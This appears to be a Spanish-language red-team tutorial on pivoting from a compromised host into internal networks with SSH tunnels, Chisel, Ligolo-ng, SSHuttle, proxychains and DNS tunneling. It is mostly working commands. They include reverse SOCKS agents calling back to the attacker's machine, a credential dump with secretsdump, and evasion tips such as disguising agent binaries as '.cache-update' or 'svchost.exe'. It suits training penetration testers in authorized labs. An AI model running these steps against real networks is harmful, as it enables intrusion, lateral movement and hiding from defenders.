El tunneling y el pivoting son las técnicas que separan un escaneo superficial de un compromiso total de la red interna. Una vez que tienes un punto de apoyo en una máquina, el objetivo real generalmente está más adentro — un servidor de base de datos, un panel de administración interno, una subred secundaria que no está expuesta a internet para nada.

Esta guía cubre todas las técnicas que realmente funcionan en 2026: port forwarding con SSH, Chisel, Ligolo-ng, SSHuttle y proxychains. Al final sabrás cuándo usar cada una y cómo encadenarlas a través de múltiples saltos.

Por Qué Importa el Pivoting

Ya comprometiste tu primer host. ¿Y ahora qué?

En la mayoría de los entornos reales, los objetivos interesantes están detrás de segmentación de red:

  • Aplicaciones web internas que solo aceptan conexiones desde IPs internas
  • Controladores de dominio en una subred separada
  • Servidores de base de datos escuchando en 127.0.0.1 o solo en rangos privados
  • Redes IoT/OT físicamente separadas de la LAN corporativa

Tu máquina de ataque no puede llegar ahí directamente. Pero tu host comprometido sí. El pivoting significa enrutar tu tráfico a través de ese host comprometido para alcanzar redes a las que tu máquina no tiene camino directo.

Tunneling es el mecanismo — envolver tráfico dentro de un protocolo permitido por el firewall (SSH, HTTP, DNS). Pivoting es el objetivo — moverse lateralmente a través de redes segmentadas.


El Conjunto de Herramientas

SSH Tunneling

Integrado, cifrado, funciona en cualquier lugar donde SSH esté permitido. La primera herramienta que debes usar.

Chisel

Un túnel TCP/UDP rápido sobre HTTP. Escrito en Go — binario único, sin dependencias. Funciona incluso cuando SSH está bloqueado. Opera en modo cliente→servidor o servidor→cliente.

Ligolo-ng

Un framework de tunneling moderno basado en agentes que crea una interfaz TUN real en tu máquina de ataque. La opción más limpia cuando necesitas enrutamiento completo hacia una red (no solo puertos específicos).

SSHuttle

Como una VPN casera — enruta subredes completas a través de SSH sin necesitar root en el host remoto. Excelente para pivots simples cuando tienes acceso SSH.

ProxyChains

El pegamento. Enruta cualquier herramienta (nmap, curl, impacket, evil-winrm) a través de un proxy SOCKS. Úsalo con cualquiera de las anteriores.


Configuración del Laboratorio

Antes de empezar, necesitas un laboratorio. Las técnicas aquí requieren un entorno multi-red — como mínimo dos subredes con enrutamiento controlado.

La configuración más rápida:

  1. Máquina de ataque — tu host Kali/Parrot
  2. Host pivote — una máquina Linux o Windows en dos subredes (orientada a internet + interna)
  3. Objetivo — una máquina solo en la subred interna

Puedes construir esto localmente con VMs o levantarlo en la nube. Para laboratorios basados en nube, Vultr te permite crear redes privadas entre instancias VPS en minutos. DigitalOcean tiene lo mismo con su producto VPC. Ambos son suficientemente baratos para un entorno de práctica que levantas y destruyes por sesión.


SSH Tunneling

El SSH tunneling es la opción más confiable cuando tienes acceso SSH al host pivote. Tres modos:

Port Forwarding Local

Reenvía un puerto de tu máquina de ataque hacia un servicio en la red objetivo.

ssh -L [puerto_local]:[host_objetivo]:[puerto_objetivo] [usuario]@[host_pivote]

Ejemplo: Tienes SSH en el pivote (10.10.10.5) y quieres alcanzar una aplicación web interna en 192.168.1.20:80.

ssh -L 8080:192.168.1.20:80 [email protected]

Ahora navega a http://127.0.0.1:8080 en tu máquina — el tráfico se enruta a través del pivote hacia el servidor interno.

Opciones que vale la pena conocer:

-N    # No ejecutar un comando remoto (mantiene el túnel abierto sin shell)
-f    # Enviar a segundo plano
-q    # Modo silencioso (suprime banners)

Comando completo:

ssh -NfqL 8080:192.168.1.20:80 [email protected]

Port Forwarding Remoto

El inverso: reenvía un puerto en el pivote de regreso a algo en tu máquina. Útil cuando no puedes llegar directamente al puerto SSH del pivote pero el pivote sí puede llegar a ti.

ssh -R [puerto_remoto]:[host_local]:[puerto_local] [usuario]@[tu_máquina]

Ejemplo: Tienes una reverse shell desde un host interno y quieres exponer tu servidor web local.

# En el host pivote (después de obtener una shell):
ssh -NR 8080:127.0.0.1:80 atacante@ip_de_tu_vps

Ahora el puerto 8080 en el pivote enruta hacia el puerto 80 en tu máquina.

Proxy SOCKS Dinámico

El modo SSH más poderoso. Crea un proxy SOCKS5 en tu máquina local — enruta cualquier tráfico a través de él para alcanzar cualquier host al que el pivote pueda llegar.

ssh -D [puerto_socks_local] usuario@[host_pivote]
ssh -NfqD 1080 [email protected]

Luego configura proxychains o tu navegador para usar 127.0.0.1:1080 como proxy SOCKS5. Cualquier herramienta que soporte SOCKS ahora enrutará a través del pivote.

SSH Tunneling Multi-Salto

¿Necesitas alcanzar una tercera red más allá del primer pivote? Encadena túneles SSH.

Opción 1 — ProxyJump (limpio, moderno):

ssh -J usuario@pivote1 usuario@pivote2

Opción 2 — Cadena manual (cuando ProxyJump no está disponible):

# Primer salto: puerto local 2222 → SSH del pivote1
ssh -NfL 2222:pivote2:22 usuario@pivote1

# Segundo salto: conectar a través del puerto reenviado
ssh -NfD 1080 -p 2222 [email protected]

Opción 3 — ProxyJump con SOCKS:

ssh -J usuario@pivote1 -D 1080 usuario@pivote2

Chisel

Chisel brilla cuando SSH está bloqueado o estás pivotando a través de una web shell / shell limitada. Hace túneles sobre HTTP/HTTPS — la mayoría de los firewalls permiten esto hacia afuera.

GitHub: https://github.com/jpillora/chisel

Instalación

Descarga los binarios precompilados desde la página de releases, o compila desde fuente:

# En tu máquina de ataque (servidor)
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_1.x.x_linux_amd64.gz
gunzip chisel_1.x.x_linux_amd64.gz
chmod +x chisel_1.x.x_linux_amd64
mv chisel_1.x.x_linux_amd64 /usr/local/bin/chisel

Transfiere el binario al host pivote (mismo binario, modo diferente).

Pivot SOCKS — Modo Servidor (Máquina de Ataque)

# Iniciar el servidor Chisel en tu máquina de ataque
chisel server --port 8000 --reverse

Pivot SOCKS — Modo Cliente (Host Pivote)

# Ejecutar en el host comprometido
chisel client [ip_atacante]:8000 R:socks

Esto crea un proxy SOCKS5 inverso. El prefijo R: significa que el pivote se conecta de regreso a ti (túnel inverso) — la máquina de ataque no necesita conectarse hacia adentro.

Tu proxy SOCKS está ahora en 127.0.0.1:1080 en tu máquina de ataque.

Port Forward Local con Chisel

Reenvía un puerto específico:

# Servidor (máquina de ataque)
chisel server --port 8000 --reverse

# Cliente (pivote)
chisel client [ip_atacante]:8000 R:9090:192.168.1.50:3306

El puerto 9090 en tu máquina de ataque ahora alcanza el puerto 3306 (MySQL) en 192.168.1.50 a través del pivote.

Chisel sobre HTTPS

Agrega una capa TLS para mayor discreción:

# Servidor
chisel server --port 443 --reverse --tls-cert /ruta/al/cert.pem --tls-key /ruta/a/key.pem

# Cliente
chisel client --tls-skip-verify https://[ip_atacante]:443 R:socks

Chisel en Windows

Chisel tiene binarios para Windows. Descárgalo y ejecútalo:

.\chisel.exe client [ip_atacante]:8000 R:socks

Sin problemas de política de ejecución de PowerShell — es un ejecutable independiente.


Ligolo-ng

Ligolo-ng es la solución más elegante si quieres enrutamiento real en lugar de reenvío puerto por puerto. Crea una interfaz TUN en tu máquina de ataque — a partir de ahí, puedes ejecutar cualquier herramienta contra la red objetivo como si estuvieras conectado directamente.

GitHub: https://github.com/nicocha30/ligolo-ng

Por Qué Ligolo-ng Gana en Operaciones con Múltiples Objetivos

Con el reenvío dinámico de SSH o SOCKS de Chisel, cada herramienta necesita ser compatible con proxychains o SOCKS de forma nativa. Ligolo-ng crea una interfaz de red real — tu máquina de ataque enruta el tráfico a nivel del sistema operativo. nmap, impacket, evil-winrm, curl — todo funciona sin proxychains.

Instalación

Dos componentes:

  • Proxy — se ejecuta en tu máquina de ataque (el lado C2)
  • Agente — se ejecuta en el host pivote
# Descargar ambos desde los releases de GitHub
# Proxy (Linux, tu máquina de ataque):
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy_linux_amd64

# Agente (según el SO del pivote):
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_linux_amd64
# o para pivote Windows:
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_windows_amd64.exe

chmod +x proxy_linux_amd64 agent_linux_amd64

Crear la Interfaz TUN

# En tu máquina de ataque (requiere root/sudo)
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

Iniciar el Proxy

./proxy_linux_amd64 -selfcert -laddr 0.0.0.0:11601

-selfcert genera un certificado autofirmado para la conexión del agente. Usa un certificado real en producción.

Conectar el Agente

En el host pivote:

./agent_linux_amd64 -connect [ip_atacante]:11601 -ignore-cert

Iniciar el Túnel

De vuelta en tu máquina de ataque, en la consola del proxy de Ligolo-ng:

# Listar agentes conectados
session

# Seleccionar el agente (ingresa el número mostrado)
1

# Ver qué redes puede ver el agente
ifconfig

# Iniciar el túnel
start

Agregar la Ruta

Ahora agrega una ruta para que el tráfico de tu máquina hacia la subred interna vaya a través de Ligolo-ng:

# Ejemplo: 192.168.1.0/24 es la red interna
sudo ip route add 192.168.1.0/24 dev ligolo

Listo. Ahora puedes llegar a 192.168.1.x directamente desde tu máquina de ataque — sin proxychains, sin port forwarding, sin configuración SOCKS.

# Nmap directo contra la subred interna
nmap -sV 192.168.1.0/24

# Evil-WinRM sin proxychains
evil-winrm -i 192.168.1.50 -u Administrator -p 'P@ssword'

Multi-Salto con Ligolo-ng

Ligolo-ng soporta túneles anidados. Después de alcanzar la primera red interna, puedes pivotar nuevamente:

# En el primer pivote (ahora accesible vía Ligolo):
./agent_linux_amd64 -connect [ip_atacante]:11601 -ignore-cert

# En la consola de Ligolo: agregar un listener en el pivote
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

# Desplegar un segundo agente en el host de segundo salto, conectando al pivote:11601
./agent_linux_amd64 -connect [ip_pivote1]:11601 -ignore-cert

Aparece una nueva sesión en la consola del proxy. Agrega rutas para la segunda subred interna.


SSHuttle

SSHuttle es un proxy transparente que enruta subredes completas a través de SSH. No necesita interfaz TUN, ni root en el lado remoto — instala un helper Python mínimo en el pivote vía SSH.

# Instalar
pip install sshuttle
# o
apt install sshuttle

Uso Básico

# Enrutar todo el tráfico a 192.168.1.0/24 a través del pivote
sshuttle -r usuario@ip_pivote 192.168.1.0/24

# Enrutar todo el tráfico
sshuttle -r usuario@ip_pivote 0.0.0.0/0

# Excluir subredes específicas
sshuttle -r usuario@ip_pivote 192.168.1.0/24 -x 10.10.10.0/24

SSHuttle con Clave

sshuttle -r usuario@ip_pivote --ssh-cmd "ssh -i /ruta/a/clave" 192.168.1.0/24

Cuándo Usar SSHuttle vs Ligolo-ng

EscenarioUsar
Tienes acceso SSH, quieres enrutamiento rápido de subredSSHuttle
Sin SSH, usando una reverse shellChisel o Ligolo-ng
Necesitas enrutamiento completo sin proxychainsLigolo-ng
Multi-salto, topología complejaLigolo-ng
Reenvío rápido de un solo puertoSSH -L

Configuración de ProxyChains

ProxyChains enruta conexiones TCP a través de proxies SOCKS4/SOCKS5/HTTP. Úsalo cuando tu proxy SOCKS está configurado (SSH dinámico, Chisel, etc.) y tu herramienta no es compatible con SOCKS de forma nativa.

Archivo de Configuración

nano /etc/proxychains4.conf

Configuración clave:

# Comenta strict_chain, descomenta dynamic_chain
dynamic_chain
# strict_chain

# Tiempos de espera del proxy (ms)
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
# Formato: tipo  ip  puerto [usuario contraseña]
socks5  127.0.0.1  1080

dynamic_chain omite proxies muertos. Usa strict_chain cuando necesites un salto ordenado garantizado.

Usando ProxyChains

proxychains nmap -sT -Pn -n 192.168.1.0/24
proxychains evil-winrm -i 192.168.1.50 -u Administrator -p 'P@ssword'
proxychains curl http://192.168.1.100:8080
proxychains python3 /opt/impacket/examples/secretsdump.py domain/usuario:[email protected]

Nota: nmap -sS (escaneo SYN) no funciona a través de proxychains — requiere sockets raw. Usa -sT (escaneo TCP connect) en su lugar. Es más lento pero funciona.

ProxyChains con Múltiples Saltos

Para escenarios multi-salto, agrega todos tus proxies en orden:

[ProxyList]
socks5  127.0.0.1  1080   # Salto 1 (pivote 1)
socks5  127.0.0.1  2080   # Salto 2 (pivote 2, reenviado localmente)

Tunneling DNS

Cuando solo se permite DNS hacia afuera, usa DNS tunneling. Es lento pero funciona a través del filtrado de egreso más restrictivo.

iodine

# Lado del servidor (necesita un dominio con registro NS apuntando a tu VPS)
iodined -f -c -P contraseñasecreta 10.0.0.1 tunnel.tudominio.com

# Lado del cliente (host pivote)
iodine -f -P contraseñasecreta tunnel.tudominio.com

Una vez conectado, obtienes un túnel punto a punto sobre DNS. Útil como último recurso — el rendimiento típico es menos de 100KB/s.

dnscat2

Otra opción de DNS tunneling con sabor C2:

# Servidor
ruby dnscat2.rb tunnel.tudominio.com

# Cliente (pivote)
./dnscat --dns domain=tunnel.tudominio.com

Flujo de Trabajo Real de Pivoting

Así se ve esto en un engagement real:

Escenario: Aplicación Web → Servidor DB Interno

  1. Acceso inicial: RCE en un servidor web en 10.10.10.5 (expuesto a internet)
  2. Objetivo: Alcanzar 192.168.50.20:3306 (MySQL en VLAN interna)

Paso 1 — Identificar la red:

# En el pivote (a través de tu shell)
ip addr
ip route
cat /etc/hosts

Paso 2 — Elegir la herramienta:

  • Si SSH disponible en el pivote: ssh -NfL 3306:192.168.50.20:3306 [email protected]
  • Si solo HTTP/shell: desplegar agente Chisel o Ligolo-ng

Paso 3 — Configurar el túnel (ejemplo con Ligolo-ng):

# Máquina de ataque
./proxy_linux_amd64 -selfcert -laddr 0.0.0.0:11601

# Pivote (vía RCE / web shell)
./agent_linux_amd64 -connect [tu_vps]:11601 -ignore-cert

# Consola de máquina de ataque
session → 1 → start
sudo ip route add 192.168.50.0/24 dev ligolo

Paso 4 — Llegar al objetivo directamente:

mysql -h 192.168.50.20 -u root -p

Escenario: Entorno Windows AD, Tres Saltos

Máquina de Ataque → Host DMZ (Linux) → Red Corporativa → DC Interno
  1. Agente Ligolo-ng en el host DMZ → enrutar red corporativa
  2. Segundo agente Ligolo-ng en una máquina Windows corporativa (vía la red corporativa ahora enrutable) → enrutar hacia la subred del DC
  3. Ejecutar el colector BloodHound y herramientas de impacket directamente contra la subred del DC
  4. Sin proxychains necesario en ningún paso

Consideraciones de Persistencia y Sigilo

Bind vs Reverse

Siempre prefiere túneles inversos (el pivote se conecta hacia afuera a ti) en entornos con NAT/firewalls. Las conexiones entrantes al pivote generalmente están bloqueadas; las salientes hacia puertos comunes (80, 443, 8080) a menudo no lo están.

Elección de Puerto

Usa puertos que se mezclen:

  • 443 — HTTPS (Chisel + TLS)
  • 80 — HTTP (Chisel sin TLS)
  • 8080, 8443 — puertos web alternativos comunes
  • Evita puertos obvios de pentesting (4444, 1337, 31337)

Nombre del Proceso

En Linux, renombra tu binario de agente:

cp chisel /tmp/.cache-update
/tmp/.cache-update client [atacante]:443 R:socks

En Windows:

Copy-Item .\agent.exe "C:\Windows\Temp\svchost.exe"

Cifrado

Siempre usa túneles cifrados (SSH, Chisel + TLS, Ligolo-ng con certificados) — los túneles en texto plano son triviales de detectar con DPI.


Tabla de Referencia Rápida

HerramientaTransporteRoot RequeridoFunciona en WindowsMejor Para
SSH -L/-DSSHNoCon cliente SSHReenvíos rápidos, SSH disponible
ChiselHTTP/HTTPSNoSíSSH bloqueado, túneles inversos
Ligolo-ngTCP (TLS)Para configuración TUNSí (agente)Enrutamiento completo, ops limpias
SSHuttleSSHNo (remoto)NoEnrutamiento de subred completo vía SSH
ProxyChainsSOCKS4/5NoParcialEnvolver herramientas a través de SOCKS
iodineDNSSíNoFiltrado extremo de egreso

Problemas Comunes

El cliente Chisel no puede conectarse:

  • Verifica las reglas del firewall en la máquina de ataque (el puerto del servidor debe estar abierto)
  • Prueba --tls-skip-verify si hay errores de certificado
  • Prueba el puerto 443 u 80 si el puerto de egreso está filtrado

Errores de interfaz TUN en Ligolo-ng:

sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
# Confirmar que existe:
ip link show ligolo

ProxyChains se congela:

  • Confirma que el proxy SOCKS realmente está corriendo (ss -tlnp | grep 1080)
  • Usa dynamic_chain no strict_chain
  • Reduce los tiempos de espera en la configuración
  • Verifica que el proxy sea SOCKS5 no SOCKS4 si hay autenticación involucrada

Nmap lento a través de proxychains: Normal. El escaneo TCP connect a través de un túnel es lento. Reduce el alcance, aumenta el paralelismo:

proxychains nmap -sT -Pn -n --min-rate 100 -p 22,80,443,445,3389,8080 192.168.1.0/24

Recomendación para el Laboratorio

Para practicar estas técnicas correctamente, necesitas una red que controles. Opciones:

Basado en la nube (más rápido de levantar):

  • Vultr — redes privadas entre instancias VPS, facturación barata por hora
  • DigitalOcean — redes VPC, $5–$6/mes por nodo

Construye un laboratorio de 3 nodos: máquina de ataque, pivote Linux, objetivo Windows. Todo cuesta menos de $20/mes y puedes hacer snapshots y destruirlo entre sesiones.

VMs locales: VMware Workstation o VirtualBox con adaptadores host-only y NAT. Gratuito pero más lento de configurar y limitado por tu hardware.


Resumen

El tunneling y el pivoting son habilidades no negociables para el pentesting de redes internas. El conjunto de herramientas moderno es:

  • SSH forwarding — cuando SSH está disponible, úsalo primero
  • Chisel — cuando SSH está bloqueado, túneles inversos sobre HTTP/S
  • Ligolo-ng — cuando necesitas enrutamiento completo y operaciones limpias a través de múltiples saltos
  • SSHuttle — cuando tienes SSH y quieres enrutamiento rápido de subred sin la configuración
  • ProxyChains — para enrutar herramientas que no son compatibles con SOCKS de forma nativa

Elige la herramienta correcta para la restricción, encadénalas cuando sea necesario, y siempre ve cifrado.


¿Necesitas un laboratorio aislado para practicar esto sin arriesgar tu propia red? Vultr y DigitalOcean tienen redes VPC privadas que puedes levantar en minutos.


Publicado por RedTeamGuide.com — contenido práctico de red team para profesionales de la seguridad.